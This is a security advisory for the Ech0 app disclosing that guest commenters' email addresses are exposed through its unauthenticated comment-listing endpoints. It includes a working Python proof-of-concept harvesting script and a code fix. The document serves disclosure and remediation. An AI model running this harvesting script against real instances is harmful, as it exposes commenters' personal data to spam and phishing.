CVE-2026-79660

## Summary The `Comment` model serializes its `Email` field through the public comment-listing API. `internal/model/comment/comment.go:33` uses `json:"email"`, while adjacent PII fields (`IPHash`, `UserAgent`) correctly use `json:"-"`. The public endpoints `GET /api/comments?echo_id=X` and `GET /api/comments/public?limit=N` both live on `PublicRouterGroup` with no authentication. Alice retrieves every guest commenter's email address on the instance with a few unauthenticated HTTP calls. ## Details The Comment model at `internal/model/comment/comment.go:33`: ```go type Comment struct { // ... Email string `gorm:"size:255;not null;index" json:"email"` IPHash string `gorm:"size:128;index" json:"-"` UserAgent string `gorm:"size:512" json:"-"` // ... } ``` The `json:"-"` on `IPHash` and `UserAgent` shows the developer's intent: hide server-side PII from API responses. The `Email` field missed the same tag. GORM materializes the full struct and the Gin handler returns it verbatim. Routes at `internal/router/comment.go:20` and comment public-feed route: ```go appRouterGroup.PublicRouterGroup.GET("/comments", middleware.NoCache(), h.CommentHandler.ListCommentsByEchoID()) appRouterGroup.PublicRouterGroup.GET("/comments/public", middleware.NoCache(), h.CommentHandler.ListPublicComments()) ``` Both handlers call `ListPublicByEchoID` (service at `internal/service/comment/comment.go:329`) or `ListPublicComments` (service at `:340`), both of which return the slice of `Comment` structs to `ctx.JSON`. No DTO projection, no field stripping. The email field is populated for every guest comment: the submission form requires an email address so the server can later send moderation or reply notifications. The UI does not display the email, so users assume it stays server-side. GHSA-m983-7426-5hrj (2026-03-22) closed a similar PII leak on `GET /api/allusers`, which exposed account-owner emails. This report covers a distinct endpoint (`/api/comments` and `/api/comments/public`) and a distinct data subject (guest commenters, not registered account owners). ## Proof of Concept Anonymous caller harvests commenter emails on the default install: ```python import requests TARGET = "http://localhost:8300" # Any echo UUID from the public feed. pub_id = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()["data"]["items"][0]["id"] # No auth header. The response includes the raw email field. r = requests.get(f"{TARGET}/api/comments", params={"echo_id": pub_id}) for c in r.json()["data"]: print(f" nickname={c['nickname']!r} email={c.get('email')!r}") # The /public variant returns recent comments across every echo. r = requests.get(f"{TARGET}/api/comments/public", params={"limit": 100}) emails = {c.get("email") for c in r.json()["data"] if c.get("email")} print(f"harvested {len(emails)} unique emails from /comments/public") ``` Observed on v4.5.6: ``` nickname='GuestHarvestMe' email='leaked-harvest-target@example.com' harvested 1 unique emails from /comments/public ``` The instance had one guest comment; its email returned in both endpoints. An instance with any commenter volume returns every address. ## Impact Anonymous harvest of every guest commenter's email address across the instance. Email addresses submitted for moderation or reply notifications are treated as private by user expectation; any visitor pulls the full list with a short paginated loop against `/api/comments/public`. Privacy-regulation exposure follows: - **GDPR and CCPA.** Email is personal data. Exposing it to any internet visitor without consent is a notifiable incident under both regimes. - **Spam and phishing targeting.** Attackers map commenter emails to nicknames and per-echo topics, then send targeted phishing that references content the victim engaged with. - **Cross-instance aggregation.** A scraper against any public-facing Ech0 instance yields a curated list of people who comment on the topics the site covers. No authentication required. No admin role required. The `/comments/public` endpoint returns cross-echo aggregated data, so one call covers the whole instance. ## Recommended Fix Change the JSON tag on the Email field to match the adjacent PII fields: ```go Email string `gorm:"size:255;not null;index" json:"-"` ``` Or, if some authenticated view needs the email, introduce a `PublicComment` DTO that projects only non-sensitive fields: ```go type PublicComment struct { ID string `json:"id"` EchoID string `json:"echo_id"` Nickname string `json:"nickname"` Website string `json:"website,omitempty"` Content string `json:"content"` Status string `json:"status"` Hot bool `json:"hot"` Source string `json:"source"` CreatedAt int64 `json:"created_at"` UpdatedAt int64 `json:"updated_at"` } ``` Project the handler output through this DTO. Keep the raw `Comment` struct internal to the service layer. --- *Found by [aisafe.io](https://aisafe.io)*

Ech0 comment model's Email field returned on public /api/comments endpoints in github.com/lin-snow/ech0